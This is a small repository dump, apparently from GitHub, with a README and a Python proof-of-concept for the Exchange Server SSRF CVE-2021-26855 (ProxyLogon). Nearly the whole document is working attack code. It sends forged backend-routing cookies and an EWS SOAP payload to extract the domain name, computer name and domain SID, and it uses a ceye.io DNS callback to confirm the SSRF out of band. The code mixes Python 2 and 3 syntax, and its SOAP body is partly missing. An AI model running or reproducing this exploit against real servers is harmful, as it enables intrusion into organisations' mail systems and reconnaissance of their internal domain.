├── README.md └── CVE-2021-26855_SSRF.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-26855_SSRF 2 | CVE-2021-26855 Exchange SSRF POC 3 | 4 | change the ceye.io tokne & Identifier : 5 | 6 | token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 7 | 8 | dns_url = randomstr + '.XXXXXX.ceye.io' 9 | 10 | python CVE-2021-26855_SSRF.py https://a.com 11 | -------------------------------------------------------------------------------- /CVE-2021-26855_SSRF.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Referral: 3 | - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09 4 | - https://proxylogon.com 5 | [*] CVE-2021-26855 SSRF Exchange Server 6 | ''' 7 | import requests 8 | import sys 9 | import random 10 | import string 11 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 12 | 13 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 14 | def exploit(url): 15 | try: 16 | server = url + '/owa/auth.owa' 17 | req = requests.post(server, verify=False) 18 | if not req.status_code == 400: 19 | print('[-] Target is not Vuln!') 20 | exit(0) 21 | server_name = req.headers["X-FEServer"] 22 | print('[*] Getting FQDN Name: %s'%(server_name)) 23 | path_maybe_vuln = [ 24 | '/owa/auth/auth.js', 25 | '/ecp/default.flt', 26 | '/ecp/main.css'] 27 | headers = { 28 | 'User-Agent': 'Hello-World', 29 | 'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name), 30 | 'Connection': 'close', 31 | 'Content-Type': 'text/xml' 32 | } 33 | payload = """ 34 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | AllProperties 46 | 47 | 48 | 49 | 50 | administrator@domail.local 51 | 52 | 53 | 54 | 55 | 56 | 57 | """ 58 | for x in path_maybe_vuln: 59 | reqs = requests.post('%s/%s' %(url,x),headers=headers,data=payload, verify=False) 60 | if 'MessageText' in reqs.text: 61 | print('(+) Path %s is vuln to CVE-2021-26855!'%x) 62 | print('(*) Getting Information Server') 63 | #print(reqs.headers) 64 | print('[+] Domain Name = %s'%reqs.headers["X-DiagInfo"]) 65 | print('[+] Computer Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1]) 66 | print('[+] Domain SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0]) 67 | break 68 | elif 'The specified server version is invalid.' in reqs.text: 69 | print('(+) Path %s is vuln to CVE-2021-26855!'%x) 70 | print('(+) Response: The specified server version is invalid.') 71 | print('(*) Getting Information Server') 72 | #print(reqs.headers) 73 | print('[+] Domain Name = %s'%reqs.headers["X-DiagInfo"]) 74 | print('[+] Computer Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1]) 75 | print('[+] Domain SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0]) 76 | #i dont know what is that ;V 77 | exit(0) 78 | else: 79 | print('(-) Path %s is not vuln to CVE-2021-26855!'%x) 80 | except Exception as e: 81 | print(e) 82 | pass 83 | 84 | def _verify(url): 85 | try: 86 | vul_url = url+"/ecp/default.flt" 87 | headers = { 88 | 'Cookie': 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;' 89 | } 90 | resp = requests.get(vul_url, headers=headers, timeout=10, verify=False) 91 | if resp.status_code == 500 and 'NegotiateSecurityContext' in resp.text: 92 | print('(+) %s is vuln to CVE-2021-26855!' % vul_url) 93 | return True 94 | except Exception as e: 95 | print e 96 | 97 | def dnslog(url): 98 | token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' 99 | letters = string.ascii_lowercase 100 | randomstr = ''.join(random.choice(letters) for x in range(9)) 101 | baseurl = url + '/owa/auth/auth.js' 102 | dns_url = randomstr + '.XXXXXX.ceye.io' 103 | rheaders= { 104 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0' 105 | } 106 | 107 | cookie= { 108 | 'X-AnonResource':'true', 109 | 'X-AnonResource-Backend': dns_url +'/ecp/default.flt?~3', 110 | 'X-BEResource':'localhost/owa/auth/logon.aspx?~3' 111 | } 112 | try: 113 | rget = requests.get(baseurl, headers=rheaders, cookies=cookie ,verify=False ,timeout=3) 114 | except Exception as e: 115 | pass 116 | 117 | api = 'http://api.ceye.io/v1/records?token=%s&type=dns' % token 118 | try: 119 | res = requests.get(api, verify=False ,timeout=30).json() 120 | except Exception as e: 121 | print(e) 122 | pass 123 | if randomstr in str(res['data']): 124 | print('(+) %s is vuln to CVE-2021-26855!' % baseurl) 125 | return True 126 | 127 | 128 | if(len(sys.argv) < 2): 129 | print('[*] CVE-2021-26855 SSRF Exchange Server\n./%s \n'%(sys.argv[0])) 130 | exit(0) 131 | 132 | print('[*] Target: %s'% sys.argv[1] ) 133 | 134 | if _verify(sys.argv[1]): 135 | exit(0) 136 | elif dnslog(sys.argv[1]): 137 | exit(0) 138 | exploit(sys.argv[1]) 139 | --------------------------------------------------------------------------------